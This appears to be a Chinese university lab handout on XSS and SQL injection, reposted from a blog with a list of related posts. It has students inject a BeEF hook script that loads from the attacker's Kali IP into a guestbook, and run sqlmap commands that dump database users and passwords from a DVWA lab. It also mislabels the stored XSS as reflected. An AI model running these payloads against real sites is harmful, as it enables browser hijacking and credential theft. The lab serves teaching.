实验二、XSS和SQL注入
一、 实验目的
了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。
二、 系统环境:Kali Linux2、Windows
三、 网络环境:交换网络结构
四、 实验工具:AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;Dvwa;PHPStudy
五、 实验步骤:
1、XSS部分:利用Beef劫持被攻击者客户端浏览器
实验环境搭建。
角色:留言簿网站。存在XSS漏洞;(Win2003、IIS、guestbook搭建)
攻击者:Kali(使用beef生成恶意代码,并通过留言方式提交到留言簿网站);
被攻击者:访问留言簿网站,浏览器被劫持。
1、 利用AWVS扫描留言簿网站http://gbook.ziyexing.com/leaveword/,发现其存在XSS漏洞,截图。
2、首先修改beef的默认登陆用户名和密码:
进入/etc/beef-xss文件夹。
Kali使用beef生成恶意代码,这个主要就是进入/etc/share/beef-xss文件夹,然后输入./beef运行beef,就会自动生成恶意代码,截图。
3、用另一台win7的虚拟机访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板,
<script src="http://Kali的IP地址:3000/hook.js"></script>,截图
3、查看用户留言,只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页(百度主页),将拟在beff中的配置截图。
5、回答问题:实验中XSS攻击属于哪种类型?
XSS属于反射型攻击。
SQL注入部分:DVWA+SQLmap+Mysql注入实战
https://blog.51cto.com/huangzp/1899871
实验环境搭建。见参考文档2.搭建DVWA测试环境和SQL注入之SQLmap入门.docx
1、注入点发现。首先肯定是要判断是否有注入漏洞。
在输入框输入1,返回
ID: 1
First name: admin
Surname: admin
返回正常:
再次输入1',报错,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
此时可以断定有SQL注入漏洞,
http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低;
2、枚举当前使用的数据库名称和用户名。
你输入的命令:
Sqlmap输出截图。
3、枚举数据库用户名和密码。
(1)你输入的命令:
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2' --string="Surname" --users --password
(2)Sqlmap输出截图。
4、枚举数据库
--dbs:枚举当前数据库
(1)你输入的命令:
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2' --string="Surname" –dbs
(2)Sqlmap输出截图:
5、枚举数据库和指定数据库的数据表
-D 数据库名:指定数据库
--tables:枚举指定数据库的所有表
(1)你输入的命令:
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2' --string="Surname" -D dvwa –tables
(2)Sqlmap输出截图。
6、获取指定数据库和表中所有列的信息
-D:指定的数据库
-T:指定数据库中的数据表
--columns:获取列的信息
(1)你输入的命令:
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2' --string="Surname" -D dvwa -T users –columns
(2)Sqlmap输出截图。
7、枚举指定数据表中的所有用户名与密码,并down到本地。
-C:枚举数据表中的列
--dump:存储数据表项
(1)你输入的命令:
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2' --string="Surname" -D dvwa -T users -C user,password –dump
(2)Sqlmap输出截图:
(3)查看down到本地的用户名与密码,截图。(提示带.的文件夹为隐藏,在图形命令下,用文件浏览器打开文件夹,按下ctrl+h组合键可显示隐藏文件合文件夹,再按一次取消显示。)
转载于:https://www.cnblogs.com/BASE64/p/10898943.html
实验二、XSS和SQL注入相关推荐
- 实验三 XSS和SQL注入
实验三 XSS和SQL注入 实验目的:了解什么是XSS:了解XSS攻击实施,理解防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQ ...
- 网络渗透测试实验三——XSS和SQL注入
网络渗透测试实验三--XSS和SQL注入 实验目的 了解什么是XSS:了解XSS攻击实施,理解防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计 ...
- 网络渗透测试实验三 XSS和SQL
网络渗透测试实验三 XSS和SQL注入 实验目的:了解什么是XSS:思考防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQL注入漏 ...
- php 完美防sql注入,PHP 完美的防XSS 防SQL注入的代码
PHP "完美"的防XSS 防SQL注入的代码 function gjj($str) { $farr = array( "/s+/", "/]*?)& ...
- 防御CSRF、XSS和SQL注入***
过滤器 package cn.bizws.ismp.common.web; /** * @author www.bizws.cn Tom */ import java.io.File; impor ...
- 从php角度分析预防xss和Sql注入
引言 从php角度分析预防xss和Sql注入,是因为php对这方面做了很好的支持. XSS 概念: Xss即跨站脚本攻击,指攻击者在网页中嵌入恶意脚本程序(一般由html,css,js组成),当用户打 ...
- PHP防SQL注入代码,PHP 预防CSRF、XSS、SQL注入攻击
1.服务端进行CSRF防御 服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数. (1).Cookie Hashing(所有表单都包含同一个伪随机值): 这可能是最简单 ...
- PHP之SQL防注入代码,PHP防XSS 防SQL注入的代码
360提示XSS漏洞?这个XSS漏洞很不好修复.....如果是PHP程序的话,可以用下面的代码来过滤... PHP防XSS 防SQL注入的代码 class protection{public stat ...
- xss sql注入 php,利用xss 执行sql注入
看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1. ...
最新文章
- java 弱引用 集合_java 弱引用集合类WeakHashMap
- Geoserver中TileLayers中切割离线瓦片预览时地图模糊不清
- verilog学习(1)基本语法
- ASP.Net服务端基本控件介绍
- 诗和远方:无题(五十)
- MacOS中运行第一个PySide6实例
- Sphinx/Coreseek 4.1 跑 buildconf.sh 一个错误,无法生成configure档
- Lync 小技巧-56-检查你用的公网证书是否正确
- 网站屏蔽搜索引擎的方法
- 诺基亚10.22变革影响的分析(转)
- android 安全管理,基于web的Android应用安全管理系统
- 庄文展解读李嘉诚(四十五) 如何管理好自己的”自负指数”?
- 苏爱华奋斗撒酒疯快乐到家斯卡拉减肥倒萨
- 如何将文件FLAC格式快速转换为MP3格式
- target=_blank和target=_black
- js 面试题之---数组、字符串操作
- github简易教程
- 西班牙首相被中国新零售圈粉!天猫总裁靖捷透露了一个“合伙人计划”
- 逆向经验 + 逆向工具
- OpenCv初学者学习笔记(一):图像视频的加载与显示